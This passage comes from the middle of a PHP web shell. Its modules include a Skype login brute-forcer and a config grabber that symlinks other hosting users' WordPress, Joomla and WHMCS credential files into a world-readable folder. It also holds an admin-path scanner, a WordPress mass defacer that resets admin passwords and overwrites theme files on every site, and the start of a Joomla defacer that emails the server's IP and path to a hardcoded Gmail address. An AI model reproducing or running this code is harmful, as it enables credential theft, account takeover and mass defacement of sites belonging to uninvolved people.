4672 echo "The Hash : " . $hash . " is : SHA512 Hash";
4673 } else if (strlen($hash) == 40) {
4674 echo "The Hash : " . $hash . " is : MySQL v5.x Hash";
4675 } else if (strlen($hash) == 16) {
4676 echo "The Hash : " . $hash . " is : MySQL Hash";
4677 } else if (strlen($hash) == 13) {
4678 echo "The Hash : " . $hash . " is : DES(Unix) Hash";
4679 } else if (strlen($hash) == 32) {
4680 echo "The Hash : " . $hash . " is : MD5 Hash";
4681 } else if (strlen($hash) == 4) {
4682 echo "The Hash : " . $hash . " is : [CRC-16]-[CRC-16-CCITT]-[FCS-16]";
4683 } else {
4684 echo "Error : Can't Detect Hash Type";
4685 }
4686 }
4687?>
4688
4689
4690<?php
4691}
4692# x=skype
4693elseif (isset($_GET['x']) && ($_GET['x'] == 'skype')) {
4694?>
4695<form action="?dm=<?php echo $pwd; ?>&x=skype" method="post">
4696<br/><br/><form method='POST'>
4697
4698<center><br/><br/>
4699<img src='http://www.in-travel.info/easter2013/wp-content/uploads/2012/12/Skype-Logo-300x133.png'><br/><br/><nobr><span class='b7'>O=:[ BRUTEFORCE SKYPE ACCOUNT ]:=O</span></nobr><br/><br/>
4700<nobr>Username : <input style='color:blue;background-color:#000000' type='text' name='skypename' placeholder='Skype Name' size='38'><br>
4701<textarea style='color:blue;background-color:#000000' rows='16' cols='38' name='passwords' placeholder='passwords'></textarea><br><br>
4702<input style='color:blue;background-color:#000000' type='submit' value='Start BruteForce' name='brute'><br>
4703</center>
4704</form>
4705<?php
4706 @set_time_limit(0);
4707 $skype = "https://login.skype.com/login?application=account&return_url=https%3A%2F%2Fsecure.skype.com%2Faccount%2Flogin";
4708 # Username & Password
4709 $username = $_POST['skypename'];
4710 $password = explode("
4711", $_POST['passwords']);
4712 $time = date_default_timezone_set("Asia/Jakarta");
4713 $date = date('H:i:s');
4714 $header = "HTTP/1.1 302";
4715 function xsecurity($skype) {
4716 $ch = curl_init();
4717 curl_setopt($ch, CURLOPT_URL, $skype);
4718 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
4719 curl_setopt($ch, CURLOPT_HEADER, 1);
4720 curl_setopt($ch, CURLOPT_POST, 1);
4721 curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . "./cookie.txt");
4722 curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . "./cookie.txt");
4723 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
4724 $run = curl_exec($ch);
4725 preg_match('/<input type="hidden" name="session_token" value="(.*?)"/', $run, $hash);
4726 preg_match('/<input type="hidden" name="pie" id="pie" value="(.*?)"/', $run, $piie);
4727 preg_match('/<input type="hidden" name="etm" id="etm" value="(.*?)"/', $run, $etmm);
4728 return $hash[1] . "|:|" . $piie[1] . "|:|" . $etmm[1];
4729 }
4730 $xsec = explode("|:|", xsecurity($skype));
4731 $token = $xsec[0];
4732 $pie = $xsec[1];
4733 $etm = $xsec[2];
4734 function brute($skype, $username, $pass, $header) {
4735 $ch = curl_init();
4736 curl_setopt($ch, CURLOPT_URL, $skype);
4737 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
4738 curl_setopt($ch, CURLOPT_HEADER, 1);
4739 curl_setopt($ch, CURLOPT_POST, 1);
4740 curl_setopt($ch, CURLOPT_POSTFIELDS, "username={$username}&password={$pass}&timezone_field=%2B03%7C00&pie={$pie}&etm={$etm}&js_time={$date}&session_token={$token}&application=account&return_url=https%3A%2F%2Fsecure.skype.com%2Faccount%2Flogin");
4741 curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . "./cookie.txt");
4742 curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . "./cookie.txt");
4743 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
4744 $brute = curl_exec($ch);
4745 if (strstr($brute, $header)) {
4746 echo "<br><br><nobr><center><span class='b11'>[+] Password Cracked is <b>{$pass}</b> --> <b>{$username}</b></span></center>";
4747 }
4748 return $brute;
4749 }
4750 if ($_POST['brute']) {
4751 foreach ($password as $pass) {
4752 brute($skype, $username, $pass, $header);
4753 }
4754 }
4755?>
4756
4757<?php
4758}
4759# x=grabber
4760elseif (isset($_GET['x']) && ($_GET['x'] == 'grabber')) {
4761?>
4762<form action="?dm=<?php echo $pwd; ?>&x=grabber" method="post">
4763
4764<center><br/><br/><nobr><span class="b7">O=:[ CONFIG GRABBER ]:=O</nobr><br/><br/><form method="POST">
4765<textarea style="color:blue;background-color:#000000"cols="50" rows="20" name="passwd" ></textarea><br/><br/>
4766<input name="cat" size="80" style="color:blue;background-color:#000000" value="START GRAB CONFIG" type="submit"><br/></form>
4767
4768<?php
4769 @error_reporting(0);
4770 @set_time_limit(0);
4771 if ($_POST["cat"] && !$_POST["passwd"] == "") {
4772 echo "Checking Functions ...<br>";
4773 $functions = @ini_get("disable_functions");
4774 if (eregi("symlink", $functions)) {
4775 die("<center><br/><br/><nobr><span class='b9'>DISABLE FUNCTIONS IS ON</span></nobr><br/><br/></center>");
4776 }
4777 @mkdir("dm_grab", 0755);
4778 @chdir("dm_grab");
4779 $htaccess = "
4780Options all
4781Options +Indexes
4782Options +FollowSymLinks
4783DirectoryIndex Sux.html
4784AddType text/plain .php
4785AddHandler server-parsed .php
4786AddType text/plain .html
4787AddHandler txt .html
4788Require None
4789Satisfy Any";
4790 file_put_contents(".htaccess", $htaccess, FILE_APPEND);
4791 $passwd = $_POST["passwd"];
4792 $passwd = explode("
4793", $passwd);
4794 echo "Start Symlinking ...<br>";
4795 foreach ($passwd as $pwd) {
4796 $pawd = explode(":", $pwd);
4797 $user = $pawd[0];
4798 // Now symlink Them
4799 @symlink('/home/' . $user . '/public_html/includes/configure.php', $user . '-shop.txt');
4800 @symlink('/home/' . $user . '/public_html/os/includes/configure.php', $user . '-shop-os.txt');
4801 @symlink('/home/' . $user . '/public_html/oscom/includes/configure.php', $user . '-oscom.txt');
4802 @symlink('/home/' . $user . '/public_html/oscommerce/includes/configure.php', $user . '-oscommerce.txt');
4803 @symlink('/home/' . $user . '/public_html/oscommerces/includes/configure.php', $user . '-oscommerces.txt');
4804 @symlink('/home/' . $user . '/public_html/shop/includes/configure.php', $user . '-shop2.txt');
4805 @symlink('/home/' . $user . '/public_html/shopping/includes/configure.php', $user . '-shop-shopping.txt');
4806 @symlink('/home/' . $user . '/public_html/sale/includes/configure.php', $user . '-sale.txt');
4807 @symlink('/home/' . $user . '/public_html/amember/config.inc.php', $user . '-amember.txt');
4808 @symlink('/home/' . $user . '/public_html/config.inc.php', $user . '-amember2.txt');
4809 @symlink('/home/' . $user . '/public_html/members/configuration.php', $user . '-members.txt');
4810 @symlink('/home/' . $user . '/public_html/config.php', $user . '-4images1.txt');
4811 @symlink('/home/' . $user . '/public_html/forum/includes/config.php', $user . '-forum.txt');
4812 @symlink('/home/' . $user . '/public_html/forums/includes/config.php', $user . '-forums.txt');
4813 @symlink('/home/' . $user . '/public_html/admin/conf.php', $user . '-5.txt');
4814 @symlink('/home/' . $user . '/public_html/admin/config.php', $user . '-4.txt');
4815 @symlink('/home/' . $user . '/public_html/wp-config.php', $user . '-wp13.txt');
4816 @symlink('/home/' . $user . '/public_html/wp/wp-config.php', $user . '-wp13-wp.txt');
4817 @symlink('/home/' . $user . '/public_html/WP/wp-config.php', $user . '-wp13-WP.txt');
4818 @symlink('/home/' . $user . '/public_html/wp/beta/wp-config.php', $user . '-wp13-wp-beta.txt');
4819 @symlink('/home/' . $user . '/public_html/beta/wp-config.php', $user . '-wp13-beta.txt');
4820 @symlink('/home/' . $user . '/public_html/press/wp-config.php', $user . '-wp13-press.txt');
4821 @symlink('/home/' . $user . '/public_html/wordpress/wp-config.php', $user . '-wp13-wordpress.txt');
4822 @symlink('/home/' . $user . '/public_html/Wordpress/wp-config.php', $user . '-wp13-Wordpress.txt');
4823 @symlink('/home/' . $user . '/public_html/blog/wp-config.php', $user . '-wp13-Wordpress.txt');
4824 @symlink('/home/' . $user . '/public_html/wordpress/beta/wp-config.php', $user . '-wp13-wordpress-beta.txt');
4825 @symlink('/home/' . $user . '/public_html/news/wp-config.php', $user . '-wp13-news.txt');
4826 @symlink('/home/' . $user . '/public_html/new/wp-config.php', $user . '-wp13-new.txt');
4827 @symlink('/home/' . $user . '/public_html/blog/wp-config.php', $user . '-wp-blog.txt');
4828 @symlink('/home/' . $user . '/public_html/beta/wp-config.php', $user . '-wp-beta.txt');
4829 @symlink('/home/' . $user . '/public_html/blogs/wp-config.php', $user . '-wp-blogs.txt');
4830 @symlink('/home/' . $user . '/public_html/home/wp-config.php', $user . '-wp-home.txt');
4831 @symlink('/home/' . $user . '/public_html/protal/wp-config.php', $user . '-wp-protal.txt');
4832 @symlink('/home/' . $user . '/public_html/site/wp-config.php', $user . '-wp-site.txt');
4833 @symlink('/home/' . $user . '/public_html/main/wp-config.php', $user . '-wp-main.txt');
4834 @symlink('/home/' . $user . '/public_html/test/wp-config.php', $user . '-wp-test.txt');
4835 @symlink('/home/' . $user . '/public_html/arcade/functions/dbclass.php', $user . '-ibproarcade.txt');
4836 @symlink('/home/' . $user . '/public_html/arcade/functions/dbclass.php', $user . '-ibproarcade.txt');
4837 @symlink('/home/' . $user . '/public_html/joomla/configuration.php', $user . '-joomla2.txt');
4838 @symlink('/home/' . $user . '/public_html/protal/configuration.php', $user . '-joomla-protal.txt');
4839 @symlink('/home/' . $user . '/public_html/joo/configuration.php', $user . '-joo.txt');
4840 @symlink('/home/' . $user . '/public_html/cms/configuration.php', $user . '-joomla-cms.txt');
4841 @symlink('/home/' . $user . '/public_html/site/configuration.php', $user . '-joomla-site.txt');
4842 @symlink('/home/' . $user . '/public_html/main/configuration.php', $user . '-joomla-main.txt');
4843 @symlink('/home/' . $user . '/public_html/news/configuration.php', $user . '-joomla-news.txt');
4844 @symlink('/home/' . $user . '/public_html/new/configuration.php', $user . '-joomla-new.txt');
4845 @symlink('/home/' . $user . '/public_html/home/configuration.php', $user . '-joomla-home.txt');
4846 @symlink('/home/' . $user . '/public_html/vb/includes/config.php', $user . '-vb-config.txt');
4847 @symlink('/home/' . $user . '/public_html/vb3/includes/config.php', $user . '-vb3-config.txt');
4848 @symlink('/home/' . $user . '/public_html/cc/includes/config.php', $user . '-vb1-config.txt');
4849 @symlink('/home/' . $user . '/public_html/includes/config.php', $user . '-includes-vb.txt');
4850 @symlink('/home/' . $user . '/public_html/forum/includes/class_core.php', $user . '-vbluttin-class_core.php.txt');
4851 @symlink('/home/' . $user . '/public_html/vb/includes/class_core.php', $user . '-vbluttin-class_core.php1.txt');
4852 @symlink('/home/' . $user . '/public_html/cc/includes/class_core.php', $user . '-vbluttin-class_core.php2.txt');
4853 @symlink('/home/' . $user . '/public_html/whm/configuration.php', $user . '-whm15.txt');
4854 @symlink('/home/' . $user . '/public_html/central/configuration.php', $user . '-whm-central.txt');
4855 @symlink('/home/' . $user . '/public_html/whm/whmcs/configuration.php', $user . '-whm-whmcs.txt');
4856 @symlink('/home/' . $user . '/public_html/whm/WHMCS/configuration.php', $user . '-whm-WHMCS.txt');
4857 @symlink('/home/' . $user . '/public_html/whmc/WHM/configuration.php', $user . '-whmc-WHM.txt');
4858 @symlink('/home/' . $user . '/public_html/whmcs/configuration.php', $user . '-whmcs.txt');
4859 @symlink('/home/' . $user . '/public_html/support/configuration.php', $user . '-support.txt');
4860 @symlink('/home/' . $user . '/public_html/supp/configuration.php', $user . '-supp.txt');
4861 @symlink('/home/' . $user . '/public_html/secure/configuration.php', $user . '-sucure.txt');
4862 @symlink('/home/' . $user . '/public_html/secure/whm/configuration.php', $user . '-sucure-whm.txt');
4863 @symlink('/home/' . $user . '/public_html/secure/whmcs/configuration.php', $user . '-sucure-whmcs.txt');
4864 @symlink('/home/' . $user . '/public_html/cpanel/configuration.php', $user . '-cpanel.txt');
4865 @symlink('/home/' . $user . '/public_html/panel/configuration.php', $user . '-panel.txt');
4866 @symlink('/home/' . $user . '/public_html/host/configuration.php', $user . '-host.txt');
4867 @symlink('/home/' . $user . '/public_html/hosting/configuration.php', $user . '-hosting.txt');
4868 @symlink('/home/' . $user . '/public_html/hosts/configuration.php', $user . '-hosts.txt');
4869 @symlink('/home/' . $user . '/public_html/configuration.php', $user . '-joomla.txt');
4870 @symlink('/home/' . $user . '/public_html/submitticket.php', $user . '-whmcs2.txt');
4871 @symlink('/home/' . $user . '/public_html/clients/configuration.php', $user . '-clients.txt');
4872 @symlink('/home/' . $user . '/public_html/client/configuration.php', $user . '-client.txt');
4873 @symlink('/home/' . $user . '/public_html/clientes/configuration.php', $user . '-clientes.txt');
4874 @symlink('/home/' . $user . '/public_html/cliente/configuration.php', $user . '-client.txt');
4875 @symlink('/home/' . $user . '/public_html/clientsupport/configuration.php', $user . '-clientsupport.txt');
4876 @symlink('/home/' . $user . '/public_html/billing/configuration.php', $user . '-billing.txt');
4877 @symlink('/home/' . $user . '/public_html/manage/configuration.php', $user . '-whm-manage.txt');
4878 @symlink('/home/' . $user . '/public_html/my/configuration.php', $user . '-whm-my.txt');
4879 @symlink('/home/' . $user . '/public_html/myshop/configuration.php', $user . '-whm-myshop.txt');
4880 @symlink('/home/' . $user . '/public_html/includes/dist-configure.php', $user . '-zencart.txt');
4881 @symlink('/home/' . $user . '/public_html/zencart/includes/dist-configure.php', $user . '-shop-zencart.txt');
4882 @symlink('/home/' . $user . '/public_html/shop/includes/dist-configure.php', $user . '-shop-ZCshop.txt');
4883 @symlink('/home/' . $user . '/public_html/Settings.php', $user . '-smf.txt');
4884 @symlink('/home/' . $user . '/public_html/smf/Settings.php', $user . '-smf2.txt');
4885 @symlink('/home/' . $user . '/public_html/forum/Settings.php', $user . '-smf-forum.txt');
4886 @symlink('/home/' . $user . '/public_html/forums/Settings.php', $user . '-smf-forums.txt');
4887 @symlink('/home/' . $user . '/public_html/upload/includes/config.php', $user . '-up.txt');
4888 @symlink('/home/' . $user . '/public_html/article/config.php', $user . '-Nwahy.txt');
4889 @symlink('/home/' . $user . '/public_html/up/includes/config.php', $user . '-up2.txt');
4890 @symlink('/home/' . $user . '/public_html/conf_global.php', $user . '-6.txt');
4891 @symlink('/home/' . $user . '/public_html/include/db.php', $user . '-7.txt');
4892 @symlink('/home/' . $user . '/public_html/connect.php', $user . '-PHP-Fusion.txt');
4893 @symlink('/home/' . $user . '/public_html/mk_conf.php', $user . '-9.txt');
4894 @symlink('/home/' . $user . '/public_html/includes/config.php', $user . '-traidnt1.txt');
4895 @symlink('/home/' . $user . '/public_html/config.php', $user . '-4images.txt');
4896 @symlink('/home/' . $user . '/public_html/sites/default/settings.php', $user . '-Drupal.txt');
4897 @symlink('/home/' . $user . '/public_html/member/configuration.php', $user . '-1member.txt');
4898 @symlink('/home/' . $user . '/public_html/billings/configuration.php', $user . '-billings.txt');
4899 @symlink('/home/' . $user . '/public_html/whm/configuration.php', $user . '-whm.txt');
4900 @symlink('/home/' . $user . '/public_html/supports/configuration.php', $user . '-supports.txt');
4901 @symlink('/home/' . $user . '/public_html/requires/config.php', $user . '-AM4SS-hosting.txt');
4902 @symlink('/home/' . $user . '/public_html/supports/includes/iso4217.php', $user . '-hostbills-supports.txt');
4903 @symlink('/home/' . $user . '/public_html/client/includes/iso4217.php', $user . '-hostbills-client.txt');
4904 @symlink('/home/' . $user . '/public_html/support/includes/iso4217.php', $user . '-hostbills-support.txt');
4905 @symlink('/home/' . $user . '/public_html/billing/includes/iso4217.php', $user . '-hostbills-billing.txt');
4906 @symlink('/home/' . $user . '/public_html/billings/includes/iso4217.php', $user . '-hostbills-billings.txt');
4907 @symlink('/home/' . $user . '/public_html/host/includes/iso4217.php', $user . '-hostbills-host.txt');
4908 @symlink('/home/' . $user . '/public_html/hosts/includes/iso4217.php', $user . '-hostbills-hosts.txt');
4909 @symlink('/home/' . $user . '/public_html/hosting/includes/iso4217.php', $user . '-hostbills-hosting.txt');
4910 @symlink('/home/' . $user . '/public_html/hostings/includes/iso4217.php', $user . '-hostbills-hostings.txt');
4911 @symlink('/home/' . $user . '/public_html/includes/iso4217.php', $user . '-hostbills.txt');
4912 @symlink('/home/' . $user . '/public_html/hostbills/includes/iso4217.php', $user . '-hostbills-hostbills.txt');
4913 @symlink('/home/' . $user . '/public_html/hostbill/includes/iso4217.php', $user . '-hostbills-hostbill.txt');
4914 }
4915 echo "<center><br/><br/><a href='dm_grab'><nobr><span class='b9'>CHECK CONFIG GRABBER</span></nobr><br/></a><br/><br/>";
4916 }
4917?>
4918
4919<?php
4920}
4921# x=ascan
4922elseif (isset($_GET['x']) && ($_GET['x'] == 'ascan')) { ?>
4923<form action="?dn=<?php echo $pwd; ?>&x=ascan" method="post">
4924
4925 <center><br/><br/><nobr><span class="b7">O=:[ ADMIN LOGIN PATH SCANNER ]:=O</nobr><br/><br/> <form method="POST"> Website : <input name="target" style="color:blue;background-color:#000000" size="25" value="http://"><input type="submit" style="color:blue;background-color:#000000" value=" >> "></form></center>
4926
4927<?php
4928 $target = $_POST['target'];
4929 $admins = array('/admin', '/adminweb', '/safeadmin', '/adminweb', '/controlpanel', '/cpanel', '/admcp', '/admin.asp', '/sysadmin.php', '/useradmin', '/wp-admin', '/webadmin', '/SysAdmin', '/administer', '/administrator', '/adm', '/directadmin', '/staradmin', '/panel', '/wp-login', '/pureadmin', '/webmaster', '/ADMIN', '/login', '/paneldecontrol', '/administrador', '/admin.php', '/login', '/loign.php', '/administrator.php', '/admins.php', '/logins', '/admincp', '/admincp.php');
4930 foreach ($admins as $admin) {
4931 $jamban = ($target) . ($admin);
4932 $get = @file_get_contents($jamban);
4933 if ($get) {
4934 echo "<br>[+] FOUND : <a href='" . $jamban . "' target='_blank'>" . $jamban . "</a> [+]<br>";
4935 }
4936 }
4937?>
4938
4939<?php
4940} elseif (isset($_GET['x']) && ($_GET['x'] == 'wpmass')) { ?>
4941<form action="?y=<?php echo $pwd; ?>&x=wpmass" method="post">
4942<?php
4943 ini_set("display_errors", "0");
4944 set_time_limit(0);
4945 @session_start();
4946 $base_path = dirname(__FILE__) . '/';
4947 function entre2v2($text, $marqueurDebutLien, $marqueurFinLien, $i = 1) {
4948 $ar0 = explode($marqueurDebutLien, $text);
4949 $ar1 = explode($marqueurFinLien, $ar0[$i]);
4950 return trim($ar1[0]);
4951 }
4952 function randomt() {
4953 $chars = "abcdefghijkmnopqrstuvwxyz023456789";
4954 srand((double)microtime() * 1000000);
4955 $i = 0;
4956 $pass = '';
4957 while ($i <= 7) {
4958 $num = rand() % 33;
4959 $tmp = substr($chars, $num, 1);
4960 $pass = $pass . $tmp;
4961 $i++;
4962 }
4963 return $pass;
4964 }
4965 function index_changer_wp($conf, $content) {
4966 $output = '';
4967 $dol = '$';
4968 $username = entre2v2($conf, "define('DB_USER', '", "');");
4969 $password = entre2v2($conf, "define('DB_PASSWORD', '", "');");
4970 $dbname = entre2v2($conf, "define('DB_NAME', '", "');");
4971 $prefix = entre2v2($conf, $dol . "table_prefix = '", "'");
4972 $host = entre2v2($conf, "define('DB_HOST', '", "');");
4973 $link = mysql_connect($host, $username, $password);
4974 if ($link) {
4975 mysql_select_db($dbname, $link);
4976 $dol = '$';
4977 $req1 = mysql_query("UPDATE `" . $prefix . "users` SET `user_login` = 'admin',`user_pass` = '0a56f86a4ea789f555c2bdfafb61fd4a' WHERE `ID` = 1");
4978 } else {
4979 $output.= "[-] DB Error<br />";
4980 }
4981 if ($req1) {
4982 $req = mysql_query("SELECT * from `" . $prefix . "options` WHERE option_name='home'");
4983 $data = mysql_fetch_array($req);
4984 $site_url = $data["option_value"];
4985 $req = mysql_query("SELECT * from `" . $prefix . "options` WHERE option_name='template'");
4986 $data = mysql_fetch_array($req);
4987 $template = $data["option_value"];
4988 $req = mysql_query("SELECT * from `" . $prefix . "options` WHERE option_name='current_theme'");
4989 $data = mysql_fetch_array($req);
4990 $current_theme = $data["option_value"];
4991 $useragent = "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)";
4992 $url2 = $site_url . "/wp-login.php";
4993 $ch = curl_init();
4994 curl_setopt($ch, CURLOPT_URL, $url2);
4995 curl_setopt($ch, CURLOPT_POST, 1);
4996 curl_setopt($ch, CURLOPT_POSTFIELDS, "log=admin&pwd=slymn123&rememberme=forever&wp-submit=Log In&testcookie=1");
4997 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
4998 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
4999 curl_setopt($ch, CURLOPT_HEADER, 0);
5000 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
5001 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5002 curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
5003 curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
5004 $buffer = curl_exec($ch);
5005 $pos = strpos($buffer, "action=logout");
5006 if ($pos === false) {
5007 $output.= "[-] Giris Basarisiz<br />";
5008 } else {
5009 $output.= "[+] Giris Basarili<br />";
5010 }
5011 $url2 = $site_url . "/wp-admin/theme-editor.php?file=/themes/" . $template . '/index.php&theme=' . urlencode($current_theme) . '&dir=theme';
5012 curl_setopt($ch, CURLOPT_URL, $url2);
5013 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
5014 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
5015 curl_setopt($ch, CURLOPT_HEADER, 0);
5016 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5017 curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
5018 curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
5019 $buffer0 = curl_exec($ch);
5020 $_wpnonce = entre2v2($buffer0, '<input type="hidden" id="_wpnonce" name="_wpnonce" value="', '" />');
5021 $_file = entre2v2($buffer0, '<input type="hidden" name="file" value="', '" />');
5022 if (substr_count($_file, "/index.php") != 0) {
5023 $output.= "[+] index.php CROT<br />";
5024 } else {
5025 $output.= "[-] index.php CROT<br />";
5026 }
5027 $url2 = $site_url . "/wp-admin/theme-editor.php";
5028 curl_setopt($ch, CURLOPT_URL, $url2);
5029 curl_setopt($ch, CURLOPT_POST, 1);
5030 curl_setopt($ch, CURLOPT_POSTFIELDS, "newcontent=" . $content . "&action=update&file=" . $_file . "&_wpnonce=" . $_wpnonce . "&submit=Update File");
5031 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5032 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
5033 curl_setopt($ch, CURLOPT_HEADER, 0);
5034 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5035 curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
5036 curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
5037 $buffer = curl_exec($ch);
5038 curl_close($ch);
5039 $pos = strpos($buffer, '<div id="message" class="updated">');
5040 $cond = 0;
5041 if ($pos === false) {
5042 $output.= "[-] index.php CROT<br />";
5043 } else {
5044 $output.= "[+] index.php CROT<br />";
5045 $cond = 1;
5046 }
5047 } else {
5048 $output.= "[-] DB Error<br />";
5049 }
5050 global $base_path;
5051 unlink($base_path . 'COOKIE.txt');
5052 return array('cond' => $cond, 'output' => $output);
5053 }
5054 function exec_mode_1($def_url) {
5055 @mkdir('sym', 0777);
5056 $wr = "Options all
5057 DirectoryIndex Sux.html
5058 AddType text/plain .php
5059 AddHandler server-parsed .php
5060 AddType text/plain .html
5061 AddHandler txt .html
5062 Require None
5063 Satisfy Any";
5064 $fp = @fopen('sym/.htaccess', 'w');
5065 fwrite($fp, $wr);
5066 @symlink('/', 'sym/root');
5067 $dominios = @file_get_contents("/etc/named.conf");
5068 @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
5069 $out[1] = array_unique($out[1]);
5070 $numero_dominios = count($out[1]);
5071 echo "Toplam Site: $numero_dominios <br><br />";
5072 $def = file_get_contents($def_url);
5073 $def = urlencode($def);
5074 $base_url = 'http://' . $_SERVER['SERVER_NAME'] . dirname($_SERVER['SCRIPT_NAME']) . '/sym/root/home/';
5075 $output = fopen('defaced.html', 'a+');
5076 $_SESSION['count1'] = (isset($_GET['st']) && $_GET['st'] != '') ? (isset($_SESSION['count1']) ? $_SESSION['count1'] : 0) : 0;
5077 $_SESSION['count2'] = (isset($_GET['st']) && $_GET['st'] != '') ? (isset($_SESSION['count2']) ? $_SESSION['count2'] : 0) : 0;
5078 echo '<table style="width:75%;"><tr style="background:rgba(160, 82, 45,0.6);"><th>ID</th>
5079<th>SID</th><th>Domain</th><th>Script</th><th>DM</th><th>dm</th></tr>';
5080 $j = 1;
5081 $st = (isset($_GET['st']) && $_GET['st'] != '') ? $_GET['st'] : 0;
5082 for ($i = $st;$i <= $numero_dominios;$i++) {
5083 $domain = $out[1][$i];
5084 $dono_arquivo = @fileowner("/etc/valiases/" . $domain);
5085 $infos = @posix_getpwuid($dono_arquivo);
5086 $config02 = @file_get_contents($base_url . $infos['name'] . "/public_html/wp-config.php");
5087 $cls = ($j % 2 == 0) ? 'class="even"' : 'class="odd"';
5088 if ($config02 && preg_match('/DB_NAME/i', $config02)) {
5089 echo '<tr ' . $cls . '><td align="center">' . ($j++) . '</td><td align="center">' . $i . '</td><td><a href="http://' . $domain . '" target="blank">' . $domain . '</a></td>';
5090 echo '<td align="center"><font color="yellow">WORDPRESS</font></td>';
5091 $res = index_changer_wp($config02, $def);
5092 echo '<td>' . $res['output'] . '</td>';
5093 if ($res['cond']) {
5094 echo '<td align="center"><span class="green">HACKED</span></td>';
5095 fwrite($output, 'http://' . $domain . "<br>");
5096 $_SESSION['count2'] = $_SESSION['count2'] + 1;
5097 } else {
5098 echo '<td align="center"><span class="red">BASARISIZ</span></td>';
5099 }
5100 echo '</tr>';
5101 }
5102 }
5103 echo '</table>';
5104 echo '<hr/>';
5105 echo 'TOTAL Deface = ' . ($_SESSION['count1'] + $_SESSION['count2']) . '<br />';
5106 }
5107 echo '<!DOCTYPE html>
5108<html>
5109<head>
5110 <title>WP Mass Defacer</title>
5111<script type="text/javascript">
5112 function change() {
5113 if(document.getElementById(\'rcd\').checked == true) {
5114 document.getElementById(\'tra\').style.display = \'\';
5115 } else {
5116 document.getElementById(\'tra\').style.display = \'none\';
5117 }
5118 }
5119 function hide() {
5120 document.getElementById(\'tra\').style.display = \'none\';
5121 }
5122 </script>
5123</head>
5124<body>
5125<div style="background: rgba(0,0,0,0.5);padding:90px 0 65px 0;">
5126<h2 style="color:#0066FF;text-align: center;">Wordpress Mass Defacer</h2>';
5127 if (!isset($_POST['form_action'])) {
5128 echo '<div align="center">
5129 <form action="" method="post">
5130 <input type="hidden" name="form_action" value="1"><br>index url:
5131<input type="text" style="color:#FF0000;background-color:#000000" name="indexadresi" value="http://site.com/index.html" /><br>
5132 <input class=submit style="color:#FF0000;background-color:#000000" type="submit" value="!! START !!" name="Submit">
5133 </form>
5134 </div>';
5135 }
5136 echo '<div align="center">';
5137 if ($_POST['form_action'] == 1) {
5138 exec_mode_1($_POST['indexadresi']);
5139 }
5140 echo '</div>
5141 </div>
5142</body>
5143</html>';
5144?>
5145
5146<?php
5147} elseif (isset($_GET['x']) && ($_GET['x'] == 'jomass')) { ?>
5148<form action="?y=<?php echo $pwd; ?>&x=jomass" method="post">
5149 <html>
5150 <?
5151
5152
5153 ini_set("display_errors", "0");
5154 set_time_limit(0);
5155 @session_start();
5156 echo "<p> <center> <font color=red font face='tahoma' size='6pt'>AUTOMATIC JOOMLA DEFACER </center></font> </p>";
5157
5158 //mail feature
5159 $body=("server ip:".$_SERVER['SERVER_ADDR']." "."Site Name:".$_SERVER['SERVER_NAME']." "."Directory".dirname(__FILE__));
5160 mail('akunretasan@gmail.com',$_SERVER['SERVER_ADDR'],$body);
5161
5162 $base_url = 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']);
5163
5164 //create symlink of / to /sym/root/
5165 @mkdir('sym',0777);
5166 $wr = "Options all
5167 DirectoryIndex Sux.html
5168 AddType text/plain .php
5169 AddHandler server-parsed .php
5170 AddType text/plain .html
5171 AddHandler txt .html
5172 Require None
5173 Satisfy Any";
5174 $fp = @fopen ('sym/.htaccess','w');
5175 fwrite($fp, $wr);
5176 @symlink('/','sym/root');
5177 //collecting site names
5178 $text=file_get_contents($base_url.'/sym/root/var/named/');
5179 $ar = explode('<li><a href="', $text);
5180 for($vi=2;$vi < count($ar);$vi++)
5181 {
5182 $var1 = strtok($ar[$vi], " ");
5183 $var1 = substr($var1,0,-2);
5184 $old=('.db');
5185 $new=('');
5186 $sites = str_replace($old , $new , $var1);
5187 $filename = 'sites.txt';
5188 $fp = fopen($filename, "a+");
5189 $write = fputs($fp, $sites."
5190");
5191 fclose($fp);
5192 }
5193
5194 //collecting domainuser names for sites
5195 $domainusers=file('sites.txt');
5196 foreach ($domainusers as $domainuser) {
5197 $textexec=("ls -la /etc/valiases/".$domainuser);
5198 $exec=exec($textexec);
5199 $filename = 'lsla.txt';
5200 $fp = fopen($filename, "a+");
5201 $write = fputs($fp, $exec."
5202");
5203 fclose($fp);
5204 }
5205
5206 //creating final domain and domain user list
5207 $lsla=file('lsla.txt');
5208 foreach ($lsla as $finaldom) {
5209 $user=entre2v2($finaldom,"-rw-r----- 1 "," mail");
5210 $site=substr(strstr($finaldom, '/etc/valiases'),14);
5211
5212 $filename = 'bhung.txt';
5213 $fp = fopen($filename, "a+");
5214 $write = fputs($fp, $user.":". $site." ");
5215 fclose($fp);
5216
5217 }
5218
5219 $f=file_get_contents('bhung.txt');
5220 $finals=explode(" ",$f);
5221 foreach ($finals as $final){
5222 $strlen=('6');
